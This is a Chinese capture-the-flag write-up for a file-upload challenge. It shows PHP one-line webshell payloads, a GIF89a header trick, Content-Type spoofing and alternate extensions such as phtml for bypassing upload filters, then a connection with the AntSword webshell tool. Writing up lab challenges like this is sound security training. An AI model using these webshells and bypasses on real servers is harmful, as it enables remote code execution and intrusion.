[极客大挑战 2019]Upload
-
本题考点:
php一句话木马的script格式
burpsuite修改文件后缀名和Content-type绕过验证
php可执行文件的不同后缀名
蚁剑连接查看文件
-
使用工具:
burpsuite
蚁剑
-
主界面提示我们上传一个图片,在上传png等格式后失败,只支持jpg格式的图片
-
之后就是写一句话木马了,我们在test.jpg里写上这么一句话,试试看
<?php eval(@$_POST['shell']);?>
-
看来过滤了
<?
,一般服务器也不开短标签,我们可以试试script格式的一句话,结果它说不要骗它,这根本不是图片<script language="php"> eval($_POST['shell']); </script>
-
查阅资料后,只要在一句话木马之前添加一个
GIF89a?
GIF89a? <script language="php"> eval($_POST['shell']); </script>
-
成功上传
-
我们试试用蚁剑连接一下,哦,对了,这里的上传目录是
/upload/testx.jpg
虽然没有明说,但是一般都是这样的! -
结果发现不行,原因是因为图片不是php可执行文件。
-
那怎么办呢?只能上传后缀名为jpg格式的文件,但是这样又不能执行一句话木马。我们可以使用burpsuite在上传时修改文件后缀名,绕过前端验证(这里应该是前端吧?),我们现在
final.txt
里写上之前的一句话木马GIF89a? <script language="php"> eval($_POST['shell']); </script>
-
拦截后进行修改
-
改为
Content-Disposition: form-data; name="file"; filename="final.php" Content-Type: image/jpeg
-
它提示检测到了php后缀名,看来前端绕过后还有后端后缀名验证
-
查阅资料后,常见的php后缀名绕过方式有
php3
php4
php5
phtml
pht
这道题里可以上传phtml
Content-Disposition: form-data; name="file"; filename="final.phtml" Content-Type: image/jpeg
-
连接蚁剑后在根目录下成功找到flag
-
参考链接